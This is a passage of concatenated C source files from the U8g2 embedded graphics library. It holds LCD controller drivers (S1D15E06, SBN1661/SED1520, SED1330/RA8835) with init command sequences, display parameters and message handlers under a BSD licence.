/* (13) (26) Step-up CK Frequency Select, fosc/8 */ U8X8_CA(0x5F, 0x04), /* (24) Built-in Oscillator Frequency, Parameter */ U8X8_C(0xAA|1), /* (23) Built-in OSC On */ U8X8_CA(0x25, 0x1F), /* (25) Power Control Set, Parameter */ U8X8_CA(0x8A, 0x00), /* (6) Start Line Setup, Parameter */ U8X8_CA(0xB1, 0x00), /* (7) Page Address Set, Parameter */ U8X8_CA(0x13, 0x00), /* (8) Column Address Set */ U8X8_C(0xAE|1), /* (1) Display ON/OFF */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_s1d15e06_160100(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { /* checking for the flip mode cmd first */ if ( msg == U8X8_MSG_DISPLAY_SET_FLIP_MODE ) { if ( arg_int == 0 ) { u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15e06_flip0_seq); u8x8->x_offset = u8x8->display_info->default_x_offset; } else { u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15e06_flip1_seq); u8x8->x_offset = u8x8->display_info->flipmode_x_offset; } return 1; } /* call the common procedure, this now leads to the effect, that the flip code is executed again */ /* maybe we should paste the common code here to avoid this */ if ( u8x8_d_s1d15e06_common(u8x8, msg, arg_int, arg_ptr) == 0 ) { /* msg not handled, then try here */ switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_s1d15e06_160100_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_s1d15e06_160100_init_seq); break; default: return 0; /* msg unknown */ } } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_sbn1661.c ================================================ /* u8x8_d_sbn1661.c SED1520 / SBN1661 122x32 5V LCD Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "u8x8.h" static const uint8_t u8x8_d_sbn1661_init_seq[] = { U8X8_C(0x0c0), /* display start at line 0 */ U8X8_C(0x0a0), /* a0: ADC forward, a1: ADC reverse */ U8X8_C(0x0a4), /* a4: normal driving, a5: power save */ U8X8_C(0x0a9), /* a8: 1/16, a9: 1/32 duty */ //U8X8_C(0x0af), /* display on */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sbn1661_powersave0_seq[] = { U8X8_C(0x0af), /* display on */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sbn1661_powersave1_seq[] = { U8X8_C(0x0ae), /* display off */ U8X8_END() /* end of sequence */ }; struct u8x8_sbn1661_vars { uint8_t *ptr; uint8_t x; uint8_t c; uint8_t arg_int; }; #ifdef NOT_USED static void u8x8_sbn1661_out(u8x8_t *u8x8, struct u8x8_sbn1661_vars *v, void *arg_ptr) { uint8_t cnt; u8x8_cad_SendCmd(u8x8, 0x000 | ((v->x << 3) & 63) ); u8x8_cad_SendCmd(u8x8, 0x0b8 | (((u8x8_tile_t *)arg_ptr)->y_pos)); while( v->arg_int > 0 ) { /* calculate tiles to next boundary (end or chip limit) */ cnt = v->x; cnt += 8; cnt &= 0x0f8; cnt -= v->x; if ( cnt > v->c ) cnt = v->c; /* of course we still could use cnt=1 here... */ /* but setting cnt to 1 is not very efficient */ //cnt = 1; v->x +=cnt; v->c-=cnt; cnt<<=3; u8x8_cad_SendData(u8x8, cnt, v->ptr); /* note: SendData can not handle more than 255 bytes */ v->ptr += cnt; if ( v->c == 0 ) { v->ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; v->c = ((u8x8_tile_t *)arg_ptr)->cnt; v->arg_int--; } if ( ((v->x) & 7) == 0 ) break; } } #endif /* NOT_USED */ static const u8x8_display_info_t u8x8_sbn1661_122x32_display_info = { /* chip_enable_level = */ 0, /* sbn1661: Not used */ /* chip_disable_level = */ 1, /* sbn1661: Not used */ /* post_chip_enable_wait_ns = */ 100, /* pre_chip_disable_wait_ns = */ 20, /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* */ /* sda_setup_time_ns = */ 12, /* sck_pulse_width_ns = */ 75, /* sbn1661: Not used */ /* sck_clock_hz = */ 4000000UL, /* sbn1661: Not used */ /* spi_mode = */ 0, /* active high, rising edge */ /* i2c_bus_clock_100kHz = */ 4, /* sbn1661: Not used */ /* data_setup_time_ns = */ 200, /* write_pulse_width_ns = */ 200, /* */ /* tile_width = */ 16, /* width of 16*8=128 pixel */ /* tile_height = */ 4, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 122, /* pixel_height = */ 32 }; uint8_t u8x8_d_sbn1661_122x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t *ptr; //uint8_t x; //uint8_t c; switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sbn1661_122x32_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 0, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_sbn1661_init_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_sbn1661_init_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 1, NULL); break; case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 0, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_sbn1661_powersave0_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_sbn1661_powersave0_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 1, NULL); } else { u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 0, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_sbn1661_powersave1_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL); u8x8_cad_SendSequence(u8x8, u8x8_d_sbn1661_powersave1_seq); u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 1, NULL); } break; case U8X8_MSG_DISPLAY_DRAW_TILE: ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; // x and c are ignored (u8g2 only) //x = ((u8x8_tile_t *)arg_ptr)->x_pos; //c = ((u8x8_tile_t *)arg_ptr)->cnt; u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 0, NULL); u8x8_cad_SendCmd(u8x8, 0x000 | 0); // column 0 u8x8_cad_SendCmd(u8x8, 0x0b8 | (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendData(u8x8, 61, ptr); /* note: SendData can not handle more than 255 bytes */ u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 0, NULL); ptr += 61; u8x8->cad_cb(u8x8, U8X8_MSG_CAD_START_TRANSFER, 1, NULL); u8x8_cad_SendCmd(u8x8, 0x000 | 0); // column 0 u8x8_cad_SendCmd(u8x8, 0x0b8 | (((u8x8_tile_t *)arg_ptr)->y_pos)); u8x8_cad_SendData(u8x8, 61, ptr); /* note: SendData can not handle more than 255 bytes */ u8x8->cad_cb(u8x8, U8X8_MSG_CAD_END_TRANSFER, 1, NULL); break; default: return 0; } return 1; } uint8_t u8x8_d_sed1520_122x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { return u8x8_d_sbn1661_122x32(u8x8, msg, arg_int, arg_ptr); } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_sed1330.c ================================================ /* u8x8_d_sed1330.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2016, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. The device might also work with the RA8835, SED1335 and SED1336 controller. The following devices might be compatible: RA8835 SED1330 SED1335 S1D13700 */ #include "u8x8.h" static const uint8_t u8x8_d_sed1330_powersave0_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x040, 0x030), /* sys init (0x040) with one arg, where 0x030 is a wild guess */ U8X8_CA(0x059, 0x004), /* send display on command (hex 0x059, see p37 ) */ /* display cmd has one arg: 01010100 should enable all three blocks, but disable the cursor*/ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; static const uint8_t u8x8_d_sed1330_powersave1_seq[] = { U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_CA(0x058, 0x000), /* send display off command (hex 0x059, see p37) and turn of all banks */ /* maybe send a sleep in cmd */ //U8X8_C(0x053) /* sleep in: 0x053 */ U8X8_END_TRANSFER(), /* disable chip */ U8X8_END() /* end of sequence */ }; uint8_t u8x8_d_sed1330_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { uint8_t c, i; uint16_t y; uint8_t *ptr; switch(msg) { /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */ /* case U8X8_MSG_DISPLAY_SETUP_MEMORY: break; case U8X8_MSG_DISPLAY_INIT: break; */ case U8X8_MSG_DISPLAY_SET_POWER_SAVE: if ( arg_int == 0 ) u8x8_cad_SendSequence(u8x8, u8x8_d_sed1330_powersave0_seq); else u8x8_cad_SendSequence(u8x8, u8x8_d_sed1330_powersave1_seq); break; case U8X8_MSG_DISPLAY_DRAW_TILE: y = (((u8x8_tile_t *)arg_ptr)->y_pos); y*=8; y*= u8x8->display_info->tile_width; u8x8_cad_StartTransfer(u8x8); c = ((u8x8_tile_t *)arg_ptr)->cnt; /* number of tiles */ ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr; /* data ptr to the tiles */ for( i = 0; i < 8; i++ ) { u8x8_cad_SendCmd(u8x8, 0x046 ); /* CSRW command*/ u8x8_cad_SendArg(u8x8, y&255); /* CSRW low adr byte */ u8x8_cad_SendArg(u8x8, y>>8); /* CSRW high adr byte */ u8x8_cad_SendCmd(u8x8, 0x042 ); /* MWRITE */ u8x8_cad_SendData(u8x8, c, ptr); /* note: SendData can not handle more than 255 bytes, send one line of data */ ptr += u8x8->display_info->tile_width; y += u8x8->display_info->tile_width; } /* sometimes the display switches off... so just sent a display on command */ u8x8_cad_SendCmd(u8x8, 0x059 ); /* display on */ u8x8_cad_SendArg(u8x8, 0x004); /* arg for display on */ u8x8_cad_EndTransfer(u8x8); //u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, 200, NULL); /* extra dely required */ break; default: return 0; } return 1; } /*=============================================*/ static const u8x8_display_info_t u8x8_sed1330_240x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 30, /* G242CX Datasheet p5 */ /* pre_chip_disable_wait_ns = */ 10, /* G242CX Datasheet p5 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 140, /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 120, /* G242CX Datasheet p5 */ /* write_pulse_width_ns = */ 220, /* G242CX Datasheet p5 */ /* tile_width = */ 0x01e, /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 240, /* pixel_height = */ 128 }; /* 240x128 Seiko G242C */ static const uint8_t u8x8_d_sed1330_240x128_init_seq[] = { U8X8_DLY(100), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(100), /* system init command, see also u8x8_d_sed1330_powersave0_seq */ U8X8_CA(0x040, 0x030), /* sys init (0x040) with one arg, where 0x030 is a wild guess */ /* system init has total 8 parameters, so 7 more are here */ U8X8_A(0x087), /* no idea here... WF (topmost bit) is set to one because it is suggested in the datasheet, lowest 3 bits refer to text mode only */ U8X8_A(0x007), /* FY: height of a char+1, does not matter here (hopefully), because we use graphics mode only */ U8X8_A(0x01d), /* C/R: this could be the number of horizontal bytes - 1 (Value confirmed with app notes p41) */ U8X8_A(0x050), /* TC/R: According to app notes fOSC=6Mhz fFF=70Hz --> TC/R = 74d*/ U8X8_A(0x080), /* L/F: Lines per frame - 1, probably this is the height of the display - 1 (value confirmed with app notes p41)*/ U8X8_A(0x01e), /* Low byte of the virtual screen size. (Value confirmed with app notes p41) */ U8X8_A(0), /* High byte of the virtual screen size, see also section 9.1.2 */ U8X8_C(0x044), /* SCROLL */ U8X8_A(0x000), U8X8_A(0x000), U8X8_A(0x080), U8X8_A(0x000), U8X8_A(0x040), U8X8_A(0x080), U8X8_A(0x000), U8X8_A(0x000), U8X8_A(0x000), U8X8_A(0x000), U8X8_CA(0x05a, 0), /* HDOT SCR: Horizontal dotwise scroll... set to 0 */ U8X8_CA(0x05b, 0x0c), /* OVLAY: 2-layer, all graphics, OR between layer 1 and 2 */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_DLY(100), }; /* RA8835 NHD-240128BZ */ static const uint8_t u8x8_d_rh8835_nhd_240128_init_seq[] = { U8X8_DLY(100), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(100), /* system init command, see also u8x8_d_sed1330_powersave0_seq */ U8X8_CA(0x040, 0x030), /* sys init (0x040) with one arg, where 0x030 is a wild guess */ /* system init has total 8 parameters, so 7 more are here */ U8X8_A(0x087), /* no idea here... WF (topmost bit) is set to one because it is suggested in the datasheet, lowest 3 bits refer to text mode only */ U8X8_A(0x007), /* FY: height of a char+1, does not matter here (hopefully), because we use graphics mode only */ U8X8_A(0x01d), /* C/R: this could be the number of horizontal bytes - 1 (Value confirmed with app notes p41) */ U8X8_A(0x050), /* TC/R: According to app notes fOSC=6Mhz fFF=70Hz --> TC/R = 74d*/ U8X8_A(0x080), /* L/F: Lines per frame - 1, probably this is the height of the display - 1 (value confirmed with app notes p41)*/ U8X8_A(0x01e), /* Low byte of the virtual screen size. (Value confirmed with app notes p41) */ U8X8_A(0), /* High byte of the virtual screen size, see also section 9.1.2 */ U8X8_C(0x044), /* SCROLL */ U8X8_A(0x000), U8X8_A(0x000), U8X8_A(0x080), U8X8_A(0x000), U8X8_A(0x040), U8X8_A(0x080), U8X8_A(0x000), U8X8_A(0x000), U8X8_A(0x000), U8X8_A(0x000), //U8X8_CA(0x05a, 0), /* HDOT SCR: Horizontal dotwise scroll... set to 0 */ U8X8_CA(0x05b, 0x0c), /* OVLAY: 2-layer, all graphics, OR between layer 1 and 2 */ //U8X8_CA(0x059, 0x04), /* send display on command (hex 0x059, see p37 ) */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_DLY(100), }; uint8_t u8x8_d_sed1330_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sed1330_240x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sed1330_240x128_init_seq); break; default: return u8x8_d_sed1330_common(u8x8, msg, arg_int, arg_ptr); } return 1; } uint8_t u8x8_d_ra8835_nhd_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sed1330_240x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_rh8835_nhd_240128_init_seq); break; default: return u8x8_d_sed1330_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=============================================*/ static const u8x8_display_info_t u8x8_sed1330_320x240_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 30, /* G242CX Datasheet p5 */ /* pre_chip_disable_wait_ns = */ 10, /* G242CX Datasheet p5 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 140, /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 120, /* G242CX Datasheet p5 */ /* write_pulse_width_ns = */ 220, /* G242CX Datasheet p5 */ /* tile_width = */ 40, /* tile_height = */ 30, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 320, /* pixel_height = */ 240 }; static const uint8_t u8x8_d_sed1330_320x240_init_seq[] = { U8X8_DLY(100), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(100), /* system init command, see also u8x8_d_sed1330_powersave0_seq */ U8X8_CA(0x040, 0x030), /* sys init (0x040) with one arg, where 0x030 is a wild guess */ /* system init has total 8 parameters, so 7 more are here */ U8X8_A(0x087), /* no idea here... WF (topmost bit) is set to one because it is suggested in the datasheet, lowest 3 bits refer to text mode only */ U8X8_A(0x007), /* FY: height of a char+1, does not matter here (hopefully), because we use graphics mode only */ U8X8_A(0x027), /* 40-1 */ /* C/R: this could be the number of horizontal bytes - 1 (Value confirmed with app notes p41) */ U8X8_A(0x039), /* TC/R: According to app notes fOSC=6Mhz fFF=70Hz --> TC/R = 74d*/ U8X8_A(0x0ef), /* L/F: Lines per frame - 1, probably this is the height of the display - 1 (value confirmed with app notes p41)*/ U8X8_A(0x028), /* Low byte of the virtual screen size. (Value confirmed with app notes p41) */ U8X8_A(0), /* High byte of the virtual screen size, see also section 9.1.2 */ U8X8_C(0x044), /* SCROLL */ U8X8_A(0x000), U8X8_A(0x000), U8X8_A(0x0ef), U8X8_A(0x0b0), U8X8_A(0x004), U8X8_A(0x0ef), U8X8_A(0x000), U8X8_A(0x000), U8X8_A(0x000), U8X8_A(0x000), U8X8_CA(0x05a, 0), /* HDOT SCR: Horizontal dotwise scroll... set to 0 */ U8X8_CA(0x05b, 0x0c), /* OVLAY: 2-layer, all graphics, OR between layer 1 and 2 */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_DLY(100), }; uint8_t u8x8_d_ra8835_320x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sed1330_320x240_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sed1330_320x240_init_seq); break; default: return u8x8_d_sed1330_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=============================================*/ /* https://github.com/olikraus/u8g2/issues/1908 https://www.allelectronics.com/mas_assets/media/allelectronics2018/spec/LCD-101.pdf */ static const u8x8_display_info_t u8x8_sed1330_256x128_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 30, /* G242CX Datasheet p5 */ /* pre_chip_disable_wait_ns = */ 10, /* G242CX Datasheet p5 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 140, /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 120, /* G242CX Datasheet p5 */ /* write_pulse_width_ns = */ 220, /* G242CX Datasheet p5 */ /* tile_width = */ 32, /* tile_height = */ 16, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 256, /* pixel_height = */ 128 }; /* 256x128 Hyundai HG25604 (HG25504???) */ static const uint8_t u8x8_d_sed1330_256x128_init_seq[] = { U8X8_DLY(100), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(100), /* system init command, see also u8x8_d_sed1330_powersave0_seq */ U8X8_CA(0x040, 0x030), /* sys init (0x040) with one arg, where 0x030 is a wild guess */ /* system init has total 8 parameters, so 7 more are here */ U8X8_A(0x087), /* no idea here... WF (topmost bit) is set to one because it is suggested in the datasheet, lowest 3 bits refer to text mode only */ U8X8_A(0x007), /* FY: height of a char+1, does not matter here (hopefully), because we use graphics mode only */ U8X8_A(0x01f), /* 32-1*/ /* C/R: this could be the number of horizontal bytes - 1 (Value confirmed with app notes p41) */ U8X8_A(0x050), /* TC/R: According to app notes fOSC=6Mhz fFF=70Hz --> TC/R = 74d*/ U8X8_A(0x080), /* L/F: Lines per frame - 1, probably this is the height of the display - 1 (value confirmed with app notes p41)*/ U8X8_A(0x020), /* 32 */ /* Low byte of the virtual screen size. (Value confirmed with app notes p41) */ U8X8_A(0), /* High byte of the virtual screen size, see also section 9.1.2 */ U8X8_C(0x044), /* SCROLL, 11 Bytes in total */ U8X8_A(0x000), U8X8_A(0x000), U8X8_A(0x080), U8X8_A(0x000), U8X8_A(0x040), U8X8_A(0x080), U8X8_A(0x000), U8X8_A(0x000), U8X8_A(0x000), U8X8_A(0x000), U8X8_CA(0x05a, 0), /* HDOT SCR: Horizontal dotwise scroll... set to 0 */ U8X8_CA(0x05b, 0x0c), /* OVLAY: 2-layer, all graphics, OR between layer 1 and 2 */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_DLY(100), }; uint8_t u8x8_d_sed1330_256x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sed1330_256x128_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sed1330_256x128_init_seq); break; default: return u8x8_d_sed1330_common(u8x8, msg, arg_int, arg_ptr); } return 1; } /*=============================================*/ /* https://github.com/olikraus/u8g2/issues/1086 */ static const u8x8_display_info_t u8x8_sed1330_320x200_display_info = { /* chip_enable_level = */ 0, /* chip_disable_level = */ 1, /* post_chip_enable_wait_ns = */ 30, /* G242CX Datasheet p5 */ /* pre_chip_disable_wait_ns = */ 10, /* G242CX Datasheet p5 */ /* reset_pulse_width_ms = */ 1, /* post_reset_wait_ms = */ 6, /* sda_setup_time_ns = */ 20, /* sck_pulse_width_ns = */ 140, /* sck_clock_hz = */ 1000000UL, /* since Arduino 1.6.0, the SPI bus speed in Hz. Should be 1000000000/sck_pulse_width_ns */ /* spi_mode = */ 0, /* i2c_bus_clock_100kHz = */ 4, /* data_setup_time_ns = */ 120, /* G242CX Datasheet p5 */ /* write_pulse_width_ns = */ 220, /* G242CX Datasheet p5 */ /* tile_width = */ 40, /* tile_height = */ 25, /* default_x_offset = */ 0, /* flipmode_x_offset = */ 0, /* pixel_width = */ 320, /* pixel_height = */ 200 }; static const uint8_t u8x8_d_sed1330_320x200_init_seq[] = { U8X8_DLY(100), U8X8_START_TRANSFER(), /* enable chip, delay is part of the transfer start */ U8X8_DLY(100), /* system init command, see also u8x8_d_sed1330_powersave0_seq */ U8X8_CA(0x040, 0x030), /* sys init (0x040) with one arg, where 0x030 is a wild guess */ /* system init has total 8 parameters, so 7 more are here */ U8X8_A(0x087), /* no idea here... WF (topmost bit) is set to one because it is suggested in the datasheet, lowest 3 bits refer to text mode only */ U8X8_A(0x007), /* FY: height of a char+1, does not matter here (hopefully), because we use graphics mode only */ U8X8_A(0x027), /* 40-1 */ /* C/R: this could be the number of horizontal bytes - 1 (Value confirmed with app notes p41) */ U8X8_A(0x02F), /* TC/R: According to app notes fOSC=6Mhz fFF=70Hz --> TC/R = 74d*/ U8X8_A(0x0c7), /* 0xc7=199, L/F: Lines per frame - 1, probably this is the height of the display - 1 (value confirmed with app notes p41)*/ U8X8_A(0x028), /* Low byte of the virtual screen size. (Value confirmed with app notes p41) */ U8X8_A(0x000), /* High byte of the virtual screen size, see also section 9.1.2 */ U8X8_C(0x044), /* SCROLL, 11 Bytes in total */ U8X8_A(0x000), /* Screen 1 Start Address (Low) = 00H */ U8X8_A(0x000), /* Screen 1 Start Address (High) = 00H */ U8X8_A(0x0c7), /* Screen Layer 1 Number of lines = 200d */ U8X8_A(0x0b0), /* Screen 2 Start Address (Low) = 00H */ U8X8_A(0x005), /* Screen 2 Start Address (High) = 00H */ U8X8_A(0x0c7), /* Screen Layer 2 Number of lines = 200d */ U8X8_C(0x04C), /* Cursor Direction 0,0 Shift Direction = Right */ U8X8_A(0x000), U8X8_A(0x000), U8X8_A(0x000), U8X8_CA(0x05a, 0), /* HDOT SCR: Horizontal dotwise scroll... set to 0 */ U8X8_CA(0x05b, 0x0c), /* OVLAY: 2-layer, all graphics, OR between layer 1 and 2 */ U8X8_DLY(100), U8X8_END_TRANSFER(), /* disable chip */ U8X8_DLY(100), }; uint8_t u8x8_d_sed1330_320x200(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr) { switch(msg) { case U8X8_MSG_DISPLAY_SETUP_MEMORY: u8x8_d_helper_display_setup_memory(u8x8, &u8x8_sed1330_320x200_display_info); break; case U8X8_MSG_DISPLAY_INIT: u8x8_d_helper_display_init(u8x8); u8x8_cad_SendSequence(u8x8, u8x8_d_sed1330_320x200_init_seq); break; default: return u8x8_d_sed1330_common(u8x8, msg, arg_int, arg_ptr); } return 1; } ================================================ FILE: Bibliotecas/U8g2/src/clib/u8x8_d_sh1106_64x32.c ================================================ /* u8x8_d_sh1106_64x32.c Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/) Copyright (c) 2018, olikraus@gmail.com All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 